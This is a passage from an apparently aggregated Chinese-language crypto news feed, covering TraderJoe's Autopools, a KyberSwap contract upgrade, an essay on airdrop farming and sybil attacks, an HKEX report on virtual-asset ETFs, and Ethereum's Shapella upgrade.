Box”负责，这样的好处是作为链下脚本的“Black Box”能够进行实时更新，以更好地适配行情的变化和通过不断地迭代来优化做市策略。未来，Autopools还将集成更多的策略，包括链下信号、多种资产组合等。 不过，这里我们也需要提出一个担忧：Black Box的透明度。由于Autopools的策略在链下执行，那么Black Box的监管也需要完善，比如通过DAO来控制Black Box。Black Box是否开源和透明也是一个值得我们考量的点。 除此之外，TraderJoe还将推出Autopool Receipts、sJOE交易分红、无许可流动性池、GAS费用优化、做市商风格限价订单等功能。 更多功能的添加也意味着TraderJoe产品竞争力的提升。 我想用更通俗的话来解释Autopools对于TraderJoe协议的影响，所以我将会举一个在我们日常生活中的例子。 健身对于普通人来说是艰难的。即使普通人在付费成为健身房的会员后，也无法自律式地前往健身房健身。健身为普通人带来的短期反馈是负面的，这是本质原因。但相较而言，即使学习对于学生的短期反馈是负面的，但是课外补习产业依旧广受家长们的追捧。这是因为在这个产业中，付费和执行是分离的——学生参与课外学习，家长支付费用。 我们再来将目光转回TraderJoe的新升级Autopools。本质上，Autopools将流动性供给进行了拆解：提供流动性和执行做市策略，高门槛的事情交由Autopools来做。 这样的好处是什么呢？ 用户留存率提升了，就像去补习班上课的是一批批学生那样。而补习班所为学生提供的更好教学则会吸引更多学生进入补习班。所以，换更专业的话来讲，Autopools将会为TraderJoe带来更多的流动性，以及为TraderJoe将更多的LP留存下来。 最后 Mint Ventures研究合伙人Alex Xu在文章最后提到，「垄断在Web3世界似乎更难以构建。任何一个项目想要在这种“低壁垒”环境下存活与发展，只有持续地拼经营效率，这里的【经营】是一个宽泛的指代，它包含了产品创新、营销活动、团队管理等众多方面的工作，而准确、高效的激励设计也是其中的重要工作之一。」 而在最近这段时间，TraderJoe团队在自身的产品节奏上几乎保持着高效率的经营：从推出Liquidity Book大放异彩，到部署在Arbitrum上，再到如今即将推出Autopools的升级，他们准确地把握了加密市场的发展节奏，并在特定契机大放异彩。这也是其原生代币JOE能在短时间内从0.2美金涨至0.6美金的本质原因。因此，这也让我们更加期待TraderJoe的未来发展。 参考链接： https://mirror.xyz/mintventures.eth/RK6DzZNhW3BwBKRg2tIJ6Mp_MOJ3FF3cZimFv2LOwdA  ( 2 min )
    KyberSwap将于明日0点部署升级后的Elastic合约，并提醒用户尽快领取挖矿奖励
    PANews 4月18日消息，DEX 聚合器和流动性平台 KyberSwap 发推表示，将于4月19日00:00开始暂停挖矿和挖矿奖励，同时部署升级的 KyberSwap Elastic 智能合约。KyberSwap 用户获得的所有原有奖励不受影响。部署新的智能合约后，挖矿将重新启动。Kyber Network 提醒用户在北京时间4月19日 00:00之前移除流动资金并领取挖矿奖励，届时未移除的任何流动性将在紧急取款下进行，流动性将返回到 LP 的原始钱包，但无人认领的挖矿奖励将被没收。 昨日，KyberSwap表示：发现KyberSwap Elastic上存在潜在漏洞，建议流动性提供者尽快提取资金。  ( 1 min )
    专访“撸毛”老手：加密空投狂欢还会持续多久？
    原文：《On Airdrops》by Joel John、Saurabh 编译：aididiaojp.eth，Foresight News 本文将讲述一些主流媒体认为不够有趣的人和事，一个关于Auri的故事，我通过他写的帖子认识了他，这是一位是加密空投领域的专业人士。 当我看了他的帖子之后，我联系了他，想要知道他是否乐意分享他的方法。因为我曾经与投资组合公司合作设计代币经济学，所以我试图寻找一个经常利用我们的一些工作来获利的人。鉴于最近 Arbitrum 空投带来的集体狂欢，我认为现在是与社区其他人分享对话的好时机，也希望为空投未来框架的制定提供一些有价值的建议。 这是一个关于喧嚣、嫉妒和坚持的故事。在了解更多关于 Auri 的故事和他对空投的看法后，我瞥见了推动加密行业发展的贪婪，抱负和喧嚣。 我们并没有在这篇文章中详细介绍如何利用协议寻找有价值的空投。抛开这些，让我们深入了解他的故事，以及这个行业向人们免费送钱的概念可能会如何演变。 注意：我在整篇文章中都使用了术语 sybil 女巫攻击，它描述了用户设置数百个钱包来使用链上产品，通常它们使产品看起来好像有成千上万的用户。 时间回到 2020 年夏天，年轻的 Auri 在硕士毕业后刚刚完成工作申请。不幸的是，新冠病毒出现了，世界开始封锁。新冠疫情广泛蔓延后，经济暂时崩溃，企业的招聘都停止了，直到人们开始适应远程工作。 由于就业前景比较悲观，Auri 决定从事加密行业。他在 2017 年的繁荣时期涉足了一段时间，但和多数人一样，他在那段经历中亏损离场。 他向业内的几家初创公司投递了简历，最后，一个非托管钱包公司聘用了他，Auri 有了他在该行业的第一份工作。这正是 DeFi 2020 年夏天即将起飞的时候，与 2017 年不同，Aave 或 Uniswap 等工具已经出现。该行业已经出现了 DeFi 用例，而不再只是兜售代币的白皮书和 ICO。像加密货币领域的每个人一样，他的注意力慢慢转移到人们如何在该行业中赚钱。 这时 Coinlist 开始允许散户投资者在他们的平台上在进行有效身份验证后购买少量加密货币。而代币上线后的价格与风投支付的估值略有溢价，也就是说如果具有买入资质，就意味着拥有获得可靠回报投资机会。 设置 Coinlist 帐户对人们来说并没有很高的门槛，并且资产的大多数升值都发生在上市时，整个过程类似于 IPO 认购。 Auri 注意到虽然人们使用单个帐户购买代币有资格限制，但用户可以推荐家庭成员也一起设立账号。如果你投资了 200 美元并在代币发行后获得了 5 倍的回报，你将得到 1000 美元。 也就是说如果你可以招募直系亲属开设五个帐户，每个帐户投入 200 美元，这可能带来 4000 美元的利润。当然，也存在一定的投机风险，但只要市场像 2020 年那样处于狂热状态，用户就很有可能赚到可观的利润。 如果成千上万的用户想要购买代币，Coinlist 将获得一个数字，并确定每个用户获得代币的概率。这种方式一直有效，直到用户意识到设立多个账号可以使他们更有可能获得代币分配额度。 至此，人们开始租用厂房，同时运转数百台计算机来最大限度地提高获得代币分配的可能性。这段来自Twitter 用户的视频显示了此类操作的规模。 Auri 说最开始时，社区的建立是为了在 Coinlist 上设立虚假账户。但不久之后，Coinlist 团队开始检查用于登录的浏览器是否是唯一的，因为从同一台计算机登录多个帐户意味着其中多个账号的实际控制人可能只有一个。随之而来的是人们开始说服邻居、朋友和家人设立账户。 只要每个人都能赚到快钱，狂欢就开始了。当 Uniswap 进行空投时，事情已经升级到了一个完全不同的层次。Uniswap 向任何使用该产品的人提供至少 400 个 UNI 代币，每个钱包约有 2000 美元。 如果拥有十个钱包，将收到至少 4000 个 UNI 代币。这就是它变得有趣的地方，由于这些钱包都不需要 AML / KYC 或任何形式的验证，因此一个人可以设置数千个钱包并参与空投。Dune 的这项分析揭示了协议空投代币后通常会发生什么。 从空投中获得 Uniswap 代币的所有钱包中约有 93% 在一年内出售了它们。市场似乎并不想参与「去中心化」协议的治理。 当时对于像链上 DEX 这样的利基、高交易价值的产品来说，获取用户是有成本的，单个用户的获取成本甚至达到数百美元。 与其花费广告费用，协议可以通过空投来吸引用户，同时协议也可以在熊市期间节省资金，并为代币创造一个流动性市场，让代币出现在越来越多的钱包里。 或者这就是空投背后的逻辑推理，但这并不总是奏效，正如我们很快就会看到 Auri 的故事。一旦 Uniswap 发布了它的代币，更多的项目将遵循相同的模式。社区不必向用户出售代币，在获取用户的同时降低了法律风险。 任何会为社区分配代币的项目都是空投党的潜在目标。 这个游戏的心理启发式是这样的： 这里还有市场变量在起作用，这使得在 2021 年底成为空投耕种的绝佳时机。在牛市的推动下，每个代币在上市时的估值都大幅上升，这意味着任何测试过应用程序的个人用户甚至可以获得五位数的空投奖励。例如本博客的一位狂热读者说，他因测试 Biconomy 的跨链桥赚了 50 万美元。 根据 Auri 的说法，该行业面临的挑战不是单个用户创建五个或十个钱包以期快速赚钱。相真正挑战来自那些足智多谋的人，他们将女巫攻击的程度推向了工业规模，这些人在一个网络上运行了数百个帐户，接收了价值数百万美元的代币。 虽然他们努力对网络进行压力测试，但这些用户也会对资产的价格产生重大影响。如果代币在上市时没有足够的流动性，资产价格可能会在上市后几个月都处于低迷。 至于 Auri 本人，他在空投上赚的钱并不多，但在看到他认识的其他人赚了数百万美元之后，嫉妒是很好的动机，他一直坚持下去，直到他在单个协议的代币空投中赚了超过 20 万美元。不幸的是，对于这个家伙和业内许多其他人来说，当 UST 去年暴雷时，他损失惨重。 从规模上看，Auri 所在地区的收入中位数约为每年 6000 美元。20 万美元的数字大约是他在传统工作中年薪的 30 倍。在传统市场中可获得的收入与加密货币所带来的收入之间的这种差异吸引了大量的人加入该行业。 在巨额回报的激励下，一些人开始建立大型工厂来参与空投。这通常包括在该国的偏远地区建立房屋，雇用低成本劳动力，并让他们每天用数百个钱包手动与多个应用程序互交。 下图将空投金额表示为新兴市场的年收入的倍数。当你有可能在几分钟的工作中达到一年的收入时，你会花几天时间在数百个钱包中投入资金来做到这一点。这里有一个重要的警告：下图假设 3000 美元是新兴市场的收入中位数。收入较低的普通人可能不会在 Ribbon 协议中投入数千美元用于获取空投。 大多数普通人可能为有资本部署到此类项目的第三方工作。我们在游戏中看到类似的公会模式，那些想要参与这个市场的人的潜在收入和启动资金之间脱节。 Auri 说大多数计划空投的 Web3 原生初创公司都了解被女巫攻击的可能性。这些攻击也有一定的优势，因为增强的牵引力有助于提高私募市场的估值。LooksRare 和 Blur 上的大部分交易量来自希望快速赚钱的投机交易员。但这一活动推动了市场的叙述，这有助于巩固他们的估值，下图总结了空投驱动的活动从长远来看如何发挥作用。 如果他们采取的立场是空投党应该被完全阻止，那么该产品就有可能看不到牵引力。有一种说法是，加密初创公司的最佳营销是在短时间内让很多人致富，空投是一种在游戏中为一大群人提供该类机会的机制，然后这些人会继续传播产品。 协议是否可以阻止女巫攻击呢？具有不同行为模式的不同人管理着不同的钱包（所有这些钱包仍然属于主要受益人），这看起来似乎任何尝试完全通过链上数据解决女巫攻击的方式都是徒劳的。 Auri 认为空投会保留下来：从法律角度来看，顶级项目的初始分配根本没有选择。据他介绍，为了行业的利益，我们应该停止激励这种唯利是图的行为，但问题仍然是如何停止。 女巫攻击大致有两种发生方式，首先是一个人以编程的方式运行数百个钱包。如果协议仅使用链上交互作为获得空投的指标，那么协议无法阻止这样的人从协议中赚取数百万美元。 另一种方法是对声称空投的用户强制执行 AML 和 KYC 程序。这与加密货币匿名性的精神背道而驰，而且人们可以花费很小的成本来获得他人的护照或许可证文件。在印度等地区，获取护照或许可证等资料的成本甚至低至 5 美元。 专业撸毛者经常收集个人信息，并将其传递给管理数百个钱包的人。一些项目检查钱包所有者是否在 Discord 上处于活动状态，所以人们经常被雇用来发布看似随机的问题，并与团队发布的内容互动，以冒充完成 AML 和 KYC 的合法用户。 将 KYC 作为空投保护机制的挑战在于，它将来自威权国家的用户边缘化。来自对加密货币持严厉立场的国家的善意用户，如果需要提供国家颁发的身份证件，可能无法使用该产品。 KYC 的另一个挑战是它可能给产品带来法律责任。去年，由于美国政府的制裁，Gitcoin 不得不禁止一项针对伊朗用户的倡议，强制实施标识会中断访问。 我并不是说项目没有防女巫机制。Nansen 最近发布了他们如何帮助 Arbitrum 设计空投的细节。使用链上分析通常是限制空投农民的简单工具，独立研究机构 X-explore 最近在 Mirror 上发表的一份报告称，大约 28 万个钱包累计收到了所有空投的 20.8%。 这些是由单个实体控制的钱包。他们的结论是所有这些钱包的初始资金来源是来自中心化交易所或跨链桥的相同地址。从本质上讲，一个人从同一地址提款到数百个钱包。 一旦代币分发到社区成员，项目几乎无能为力。最近，Hashflow 通过了一项治理提案，以延长空投接收者对其代币的认领，但这样的举动可能会使社区支离破碎。团队采取的一种方法是激励用户检测女巫活动，并主动报告。 Gearbox 选择让用户直接报告几个大钱包可能在他们的项目早期进行空投农业。对于一般的项目会综合选择是专注于允许用户使用女巫，从而推动叙述的采用，还是使女巫无法实现并抑制人们尽早参与。 Auri 指出网络中的很多人并不认为加密货币是任何东西的未来，甚至它被视为一个骗局，但这也是一条有意义的创造财富的途径。很多人利用空投的原因是由于他们对任何系统都缺乏信任，对他们来说，重要的是最大化价值的提取。 加密货币中的空投是玩家对玩家的游戏。每个协议都是 MMORPG（大型多人在线角色扮演游戏）。用户尝试设置多个钱包以积累尽可能多的资源（代币）。空投是全民基本收入（UBI）与资本主义和第三世界国家的古老喧嚣相遇的地方，同时也是生态系统的功能与错误之间的反复调配。 Auri 认为在加密市场中发生的这种游戏可能不会持续太久。链上分析平台正在开发检测女巫攻击的专有模型。越来越多的协议可能会选择尽早获得有意义的收入，而不是推动其网络上的虚假交易。 他将重点关注游戏和围绕人工智能的机会。但是理解女巫攻击的相关经验对于寻求用链上工具奖励大量用户群的游戏来说可能是有价值的。 在我们的谈话中，我问他是否后悔参与加密市场。他认为在参与加密市场的同时，在不同的职业中建立核心技能是必要。因为该行业的所有回报和失去这一切的几率同样高。我们听到的每一个关于暴富的动听故事背后，都有很多失去毕生积蓄的例子。 所有这些都让我想到空投的未来是什么样子，并研究激励措施以了解为什么空投首先会发生。与 ICO 不同，空投不会直接向用户募集资金，它只要求用户参与其中。 大多数情况下，用户与产品交互所产生的成本由他们最终收到的代币回报所涵盖。你可以期望用户使用你的产品并在交易中花费 3 美元的最有效方法之一是向他们推销最终赚取 10 美元的预期。 空投也是平台将所有权转移给用户的一种机制。在我写这些话的时候，Substack 正在以 6 亿美元的估值从其投资者那里筹集资金。Airbnb 曾经试图将股权传递给网络上的主节点。例如如果 Uber 的司机对平台的治理方式有发言权，Uber 可能会更好。只要平台存在，利益相关者就需要一种方法来获得关于其运行方式的建议，空投可以有效解决这一挑战。 如果你参与了风险投资，你会期望在某个时间点获得回报。对于协议来说，该机制通常会发布可用于治理的代币。虽然大部分业务仍然是私人持有的，但将诸如列出哪些资产之类的决策传递给用户，使他们积极主动地推动项目的发展。只要有创始人将空投视为去中心化或退出社区的有意义的途径，空投就会保留下来。 但是普通人并不关心向公众公开的随机冒险。我最近与 Solana 基金会的 Akshay BD 讨论了 NFT 的演变，他分享了一种可能有效的替代模型。在他看来，空投的价值在于帮助用户建立对品牌的忠诚度。 迪拜的 Nightjar Coffee 或班加罗尔的 Third Wave Coffee 现已推出与 NFT 相关的现金返还计划，当应用程序将现金返还或忠诚度积分转换为资产时，我们将看到「空投」发挥作用。 他建议用户通过扫描账单底部的二维码来消费记录。二维码链接到钱包并自动记入与购买相关的忠诚度积分。理想情况下，当数百个品牌与钱包相关联时，就会产生网络效应。你可能认为我们重新发明了航空里程，这是真的。拥有里程计划的航空公司业务本质上是金融科技业务。操作方能够促进交易的进行。 当你的信用卡提供航空里程时，航空公司会设置每英里的基本费用。通常它也适用于场外交易市场。Akshay 认为，这个不透明的市场很快就会有数百个品牌，数百万客户相互交易。它的运作方式是你获得空投的比重（或印度人所知道的现金返还），与你的支出和对品牌的忠诚度成正比。如果你想尝试新的地方，你可以在公开市场上将积分换成不同品牌的积分。对于参与这种模式的企业来说，每当用户交易他们的 NFT 奖励时，企业就能获得部分版税。 品牌可以根据链上行为有选择地定位用户。今天的餐馆已经跟踪用户并访问它们的频率或消费金额，但他们通常通过社交媒体或短信来吸引用户，而客户越来越多地将这两者都视为垃圾邮件。Akshay 建议，品牌现在可以根据用户对品牌的忠诚度来制定推广方案，而不是用华而不实的广告轰炸人们。 仅将忠诚度积分在线化并没有多大意义，我们对游戏资产也有同样的论点，没有人可以移植《荒野大镖客之救赎 2》中的金条来兑现 GTA 5。尽管同一个工作室拥有这两款游戏，但通常品牌不希望允许资产在它们之间流动转移，这就是为什么你不能在达美乐使用星巴克礼品卡的原因。 像这样的模型唯一可行的方法是网络效应比今天存在的孤岛有更高的价值。像 Nobu 这样的品牌如果看到他们因为不使用这样的平台上而错过了成千上万的客户，他们就会加入进来。当数字化的威胁到来时，传统印刷媒体也发生了同样的情况。但这种方法还有一个更令人信服的原因，那就是区块链本质上是大型查询机器。 当你在 Google 或 Facebook 上投放广告时，你是在向平台付费，以将你的广告展示给他们平台上具有特定特征的用户。虽然链上数据无法显示有关年龄、品牌偏好或昨晚对话的信息等，但它可以揭示最有价值的信号，即交易数据。如果用户的交易数据可以被公开查询、验证和跟踪，而无需向拥有数据孤岛的中间人（如谷歌）付费，那么品牌就可以为用户提供更多的价值。 据估计，筹集的风险资金中有平均 40% 流向了希望获得用户的广告公司。Akshay 的模型认为，查询可以是零成本的，花在广告上的价值将直接流向用户。但目前你面临着垃圾邮件击中此类产品的挑战，这已经发生在今天的区块链网络上。 我们经常会看到垃圾邮件代币被发送到以太坊上公开活跃的钱包中。所以这里可能会出现两个过滤器，一个是在钱包层面，垃圾邮件空投可能会被标记而不向用户显示；第二个是如果用户过滤他们收到的空投报价的美元价值，他们可以快速看到哪个值得他们花时间。 具有讽刺意味的是，一年前，当我写《The Future of NFT》时，我曾提到过这样的模型将如何使用户收益。在我写这些话的时候，Meta 和几个大型 Web2 品牌已经取消了将 NFT 集成到他们产品中的计划。 考虑到这种产品需要自上而下的分发，像 Meta 这样的玩家最适合启用这样的模型。他们已经有数百万家企业和消费者群体。此外，如果 Meta 决定走这条路，那么它凭借 Instagram 和 Facebook 的市场，基本上相当于 OpenSea 的 Web2 版本。但我们相信 Web3 原生应用可能会将这种模式推向市场。 至于空投本身的未来，就像 ICO 一样，为投机者创造的价值将慢慢下降。曾经有一段时间，你可以为每个 ICO 投入 1000 美元，并期望在本季度末看到六位数的美元价值。然后在 2018 年中期左右出现了一个阶段，六位数的投资结果证明是价值数千美元的回报，因为许多 ICO 被视为高估和糟糕的投资。因此我们在空投中看到的也是一个过渡阶段，早期采用者受益匪浅，但可能无法持续。 我注意到像 Worldcoin 这样的项目已经开始进行虹膜扫描，以换取 25 美元的空投。当然，认为未来的所有协议都会达到如此漫长的程度似乎有点反乌托邦。但我看到关于可以从用户那里收集哪些信息以换取潜在空投的界限变得模糊。 Auri 的故事至今仍在继续中，我希望看到他成为社区和我们合作网络的积极贡献者。在写这个故事时，我只知道加密行业是一个套利机器，它让各行各业的人们有机会在全球范围内忙碌，并从资本主义的巨大馅饼中为自己分一杯羹，我们每个人都有机会参与其中。 只要市场保持自由和竞争，我们就会看到人们试图优化自身利益，这是所有市场的运作方式。只是在加密行业中，它比我们在传统行业中更明确。  ( 4 min )
    港交所报告解读：ETF与全球金融市场虚拟资产生态圈的发展
    2023年4月，香港交易所官方发布了一份名为《ETF与全球金融市场虚拟资产生态圈的发展》的研究报告。 作为国内乃至全球金融市场都极具影响力的证券交易所，港交所对虚拟资产的研究和实践都具备较强的代表性和参考性，某种程度上甚至能够反映传统金融对于加密世界的态度，以及可行合规的参与方式。 其中，ETF作为一种跟踪“标的指数”变化、且在证券交易所上市交易的基金类型，也可以将虚拟资产作为标的，从而合规的推出“虚拟资产ETF”——这也是目前港交所与数字货币产生联系的重要方式。 而在这份报告中，讨论的话题不仅限于ETF产品概念本身， 更涵盖了全球虚拟资产及其监管制度的发展、世界各地虚拟资产ETF 的市场表现、香港本土加密政策演变及香港ETF产品现状等诸多内容；其数据之全面，资料之翔实，都让我们觉得香港已经做好了拥抱加密世界的准备。 深潮研究院对该报告了进行了适当的精简、排序和解读，将其中的核心观点提炼出来供大家参考和学习。 *编者注：原报告的第一部分花了相当长的笔墨来介绍Web3.0的概念以及加密资产的类型和分类，这部分已被我们去掉，直接进入其关于市场洞察的干货部分。 总量上：加密市场最近3年的市值规模的扩大，或是逐渐引起港交所关注的原因： 结构上，加密资产的持有者增加，且交易结构上衍生品的比重逐渐扩大： 比特币、以太坊、稳定币和其他加密资产的市值结构变化： 加密资产逐渐成为“另类”投资选择，相对于主流投资波动极大，收益不稳定： “另类”与“主流”之间，相关性到底如何： 相关性可能随时间而变化：标普 500 指数与比特币价格的每日回报之间的相关系数由 2017 年至 2019 年间的 0.012 上升至 2020 年至 2022 年的 0.405； 可能因为传统金融机构对虚拟资产的投资逐渐加码，造成了相关性的增加。 全球监管制度各异，有些地区形成了投资虚拟资产的合规ETF： 二、合规之路：虚拟资产 ETF 的全球趋势、相关性与市场表现 进入虚拟资产市场的所有渠道，已被港交所完全归纳： 港交所认为间接渠道中的 ETF 更安全、更合规、风险更可控。 全球资本市场上已有的 ETF 基金及其市场表现： 虚拟资产 ETF 的特征及目前市场规模： 意料之中——ETF 与 比特币价格存在一定相关性： 不同管理策略的代表性 ETF： ETF 的回报率与传统证券市场和 BTC 之间的相关性结论： 虚拟资产 ETF 的波动性 ：风浪越大鱼越贵，但你能否经受住风浪？ ETF VS 非上市基金：   三、香港态度：本地 ETF 的监管、实践与未来决心 1.香港在市场制度结构及政策取得重大进展： 2021 年投资者经海外平台买 入 100 亿港元虚拟资产基金，比 2020 年的 800 万港元增加不少； 香港在基金管理人的数量上名列第三，拥有全球 6%的加密对冲基金经理； 2.监管框架形成的历史梳理： (1) 为 2022 年香港金融科技周发行 NFT (2) 绿色债券代币化 —— 让政府绿色债券发行代币化，供机构投资者认购 (3) 数码港元 *编者注：更多法规制度可以查看报告原文。 3.香港推出的亚洲首批虚拟资产 ETF ： 投资者通过买卖虚拟资产 ETF 入市简便，不像直接买卖虚拟资产须有另一个专用交易账户及加密钱包。 反映当局对发展香港虚拟资产生态圈的决心，以及市场对相关产品的需求。展望未来，预期香港市场会推出更多的虚拟资产主题式 ETF 及其他虚拟资产产品。 在 Web 3.0 与区块链技术发展的推动下，虚拟资产在金融体系中成为越来越重要的一环。 针对虚拟资产的监管制度也在不断演进，力求在市场发展与金融稳定之间取得平衡。 现时，投资者可通过加密货币交易所或经纪直接进行虚拟资产交易，又或通过投资基金（包括 ETF）等间接途径涉足虚拟资产。 全球市场上已经推出了形形式式的虚拟资产 ETF，供投资者捕捉加密货币及上市区块链公司的投资机遇。 香港市场作为拥有稳健监管制度的国际金融中心，已然一切就绪，准备好把握虚拟资产发展所 带来的潜在机遇。现时香港已设立了基础性的监管制度，帮助香港虚拟资产生态圈健康发展， 亦已有首批虚拟资产 ETF 上市，作为相关产品创新的起步点。监管制度上的不断改善，预期会有助香港市场虚拟资产生态圈的发展。 报告中英文版完整内容，来自港交所官网： 中文报告完整版 英文报告完整版  ( 5 min )
    Core DAO与Bitget和MEXC合作推出2亿美元的生态系统基金
    PANews 4月18日消息，据Cointelegraph报道，致力于开发 Satoshi Plus 生态系统的组织 Core DAO 推出了一个 2 亿美元的生态系统基金，旨在加速开发基于 Core layer-1 区块链的去中心化应用程序和协议 。该基金得到了加密货币交易所 Bitget 和 MEXC 等战略合作伙伴的支持。这种支持将涵盖各个领域，例如研发、招聘、营销、社区建设计划和其他重要的增长计划。生态系统内项目获得资金支持的主要要求是承诺建立在特定协议上。相反，生态系统基金将激励每个项目实现预先商定的定制基准，为核心社区提供有形价值。  ( 2 min )
    ENS主网上线新ENS App Alpha版本，支持NameWrapper
    PANews 4月18日消息，以太坊域名服务（ENS）开发者taytems.eth在推特上表示，以太坊域名服务ENS现已在主网上线新ENS App，并支持域名封装器NameWrapper，目前新ENS App尚处于Alpha阶段。  ( 1 min )
    科学监测韩国市场，快人一步享受“泡菜红利”
    原文作者：Miles Deutscher 原文编译：Leo，BlockBeats 加密货币交易要学会利用市场数据和工具，比如 ARB 和 APT，从数据上看它们的波动都紧跟着韩国 crypto 交易市场的趋势，加密研究员 Miles Deutscher 撰写了关于「如何利用韩国市场来做加密交易」的文章，BlockBeats 编译如下： 今年来最大的 pump 来自于韩国，比如 APT 和 ARB，经我观察后发现了一种方法，帮你尽可能早的发现下一个 pump，以下是指南： 韩国加密市场市值一直处于爆炸式增长阶段，韩本地对 Web 3 的支持、强劲的经济、对创新和技术的关注共同促成了韩国市场的发展。所以，韩国最终成为世界加密中心之一，也是交易量排名前四的国家。 当下最火爆的韩国加密货币交易平台当属 Upbit，也是迄今为止韩国最大的加密货币交易平台，占据韩总体加密市场份额的 76.6%。 监测市场趋势的工具 由于其主导地位，监测 Upbit 交易已成为跟踪韩国加密市场趋势的主要方式之一。以下 3 种工具可以帮助你抓住韩国的 Crypto pump： Crypto Exchange Listing Bot 通过使用 Crypto Exchange Listing Bot 来监测新上线的 token，该网站可以在新 token 上线时即时给用户发送相关信息（通过 Email、Tel、Dc 等方式），可以帮助你快速找到下一个 listing pump。 CoinMarketCap CoinMarketCap 想必大家都很熟悉，使用 CoinMarketCap 中的监测韩元相关交易对部分，该界面会按照交易量显示 token 排名以及其它相关指标，对于你追踪一些热门 token 很有必要。 Unusual Upbit Volume Bot Unusual Upbit Volume Bot 允许用户使用交易数据机器人自动识别出异常的交易量峰值，可以作为加密货币交易的研究评判，该 Bot 会将 Upbit 数据与对应的 Binance 数据配对。 4 月 13 日，该机器人检测到 Upbit ARB 交易量增加了 102.9%。当天晚些时候，ARB 上涨 40%。 于我而言，如果出现交易量峰值，我不会立即开多单，我通常通过成交量的增加作为进一步交易该 token 的信号，确定价格行为背后的驱动因素，然后再进行交易。 确定交易一种 token 时，我会通过 4 个方面来考量： 寻找高 FDV 的 token，低流通量下交易量的增加会对 token 价格产生很大的影响，比如 APT 和 ARB，这也是他们成为 pump 的原因（尤其是 APT）。 随着韩国市场的快速增长，关注基于交易的指标和发展方面数据是很有意义的。当然，我也在密切关注其他亚洲市场，如香港和日本。鉴于美国监管环境的不确定性，以及亚洲对加密货币的接受度不断提高，我们正在见证 crypto「由西向东」的转变。  ( 3 min )
    高盛将其VS工具功能扩展到加密货币等领域
    PANews 4月18日消息，据官网消息，高盛将推出网络版和安卓版Visual Structuring（简称“VS工具”），并将VS工具功能扩展到股票、加密货币和贵金属领域。 据悉，Visual Structuring工具正在申请专利，用于期权指示性价格发现和交易想法生成，可通过Goldman Sachs Marquee为机构客户提供。该工具支持广泛的期权结构，将交易者需要的所有信息组合到一个易于共享的图表视图中。  ( 1 min )
    一览入围Binance Labs第6季MVB加速器的12支团队
    作者：Christopher Duggan，Binance 编译：Zen，PANews 4月18日，币安旗下风险投资和加速器Binance Labs公布了第6季MVB（Most Valuable Builder）计划的入选团队名单。从基础设施到应用层，在超过1500个申请中，最终有12个项目团队顺利入围MVB计划。 MVB是一个专注于发展BNB智能链生态系统的加速器计划，第6季于4月17日正式启动，为期11周。相关课程旨在满足Web 3.0创始人不断变化的需求。包括通过投资和与行业专家的深入交流，帮助新兴项目充分发挥潜力，同时为上线BNB智能链主网及扩展提供技术建议，并提供符合市场需求的产品。 在每周的课程里，Binance Labs将从其广泛的行业资深人员网络和MVB校友中邀请演讲嘉宾，在 8 场演讲活动中分享关于法律、安全、多链基础设施、用户增长飞轮、代币经济学等主题的观点。 在这一季，每个项目团队都将被分配到一名专门的MVB导师，为他们提供量身定制的建议。除此以外，币安联合创始人兼币安孵化器负责人何一将主持一场关于构建文化、团队和营销的大师班，而币安联合创始人兼首席执行官赵长鹏将举办一场非公开会议，为第6季的大师班做总结。 何一表示：“我们Binance Labs的使命是辨识和支持拥有创新技术解决方案所需的技能、价值观和长期理念的创始人，并对更广泛的 Web 3.0 生态系统产生积极影响。MVB旨在加速BNB智能链生态系统中选定项目的增长。我们在MVB第6季设计了课程以满足加密初创公司创始人的需求，并为早期团队提供正确的支持，以构建有助于生态系统长期增长的可持续产品。” 在本季MVB加速器计划收到的超过1500份申请中，有来自世界各地的创始人团队，其中53%的申请人来自北美和欧洲，36% 来自亚太地区。经过严格筛选的过程，最终只有不到总申请数的1%获得录取。 参加第六季MVB加速器计划的12个项目团队，2个属于基础设施，另各有5个分别属于DeFi和Dapp赛道，简介如下。 去中心化金融 基础设施 应用层 乙女游戏（otome game），并旨在创建强大的、交互式的对话。 Sparkle.xyz：一款占星生活方式应用程序，提供具有可交易 NFT、占星主题PVP游戏和社交功能的个性化 Soulbound Token (SBT) 角色。 Masa Finance：提供了一个 SDK，可以为可组合和标准化的链上标识符铸造 Soulbound 代币 (SBT)，以扩展到下一个十亿 web3 用户。Masa SBT 将成为可互操作的身份、数据和信任层的基本构建块。 Slise：一个 Web3 原生程序化广告平台，使用钱包和链上数据为 Web3项目定位用户，同时为显示广告的dApp提供可持续的收入流。 xBank：一种消费信贷协议和一体化门户，可为NFT提供“先买后付”选项，并为通过信用溢价做出贡献的用户提供更大的利润率。 在为期 11 周的加速器结束时，Binance Labs将举行非公开演示日来对以上项目进行展示。为推动Web 3.0生态系统的创新，届时风投机构和Binance Labs的LP们将与MVB团队会面，因此这些项目方不仅有希望拿到币安的资金，还有获得其他投资人或机构投资的机会。  ( 2 min )
    以太坊完成Shapella升级，后续市场看涨还是看跌？
    原文来源：Kaiko 原文编译：Mary Liu，比推 BitpushNews Shapella 升级后 ETH 触及 11 个月高点，部分人士预期超过 100 万的质押 ETH 被解锁后会出现巨大的抛售压力。BTC 自去年 6 月以来首次飙升至 3 万美元以上，年初至今涨幅超过 80%。本文将通过数据和图表探讨：   Shapella 升级后 ETH 飙升 上周，Shapella 升级顺利上线，使数百万质押的 ETH 得以提取。虽然以太坊去年 9 月的 Merge 升级更像是「买谣言卖新闻」类型的事件，但 Shapella 似乎对价格产生了相反的影响。ETH 现货价格在合并后下跌了近 18%，而自 Shapella 以来上涨了 11%，尽管人们担心大量抛售。 有趣的是，尽管 ETH 上涨，但 Coinbase ETH-USD 交易对的卖单多于买单。Coinbase 领先于其竞争对手币安（Binance），允许提取与中心化交易所抵押的 ETH，并且对买入 / 卖出量的早期分析表明，交易员将他们的 ETH 兑现为美元。 随着在 Coinbase 上用 ETH 赎回质押的 ETH 成为可能，报价交易数据显示 ETH 的卖出超过买入超过 3000 万美元。截至 4 月 17 日美股交易时段上午，该数字为 2800 万美元的净卖出，但仍然是一个值得关注的有趣动态，尤其是在 Binance 于 4 月 19 日启用提款之前，这可能会给 ETH 带来更大的抛售压力。 上周衍生品市场出现大量资金流入，表明整体市场情绪正在转为看涨。在看涨押注的推动下，最大期权市场 Deribit 的 ETH 期权交易量自 FTX 崩盘以来首次超过 10 亿美元。 在 Shapella 升级后的几天里，看涨期权交易量升至 7 亿美元的年度高位，大幅超过看跌期权（看跌押注）。永续期货市场的 ETH 未平仓合约触及超过 60 亿美元的多年高位，资金利率一直保持正值。 虽然未平仓合约的增加部分是由 ETH 价格上涨推动的，但美元单位的未平仓合约数量也跃升了两位数，上周增长超过 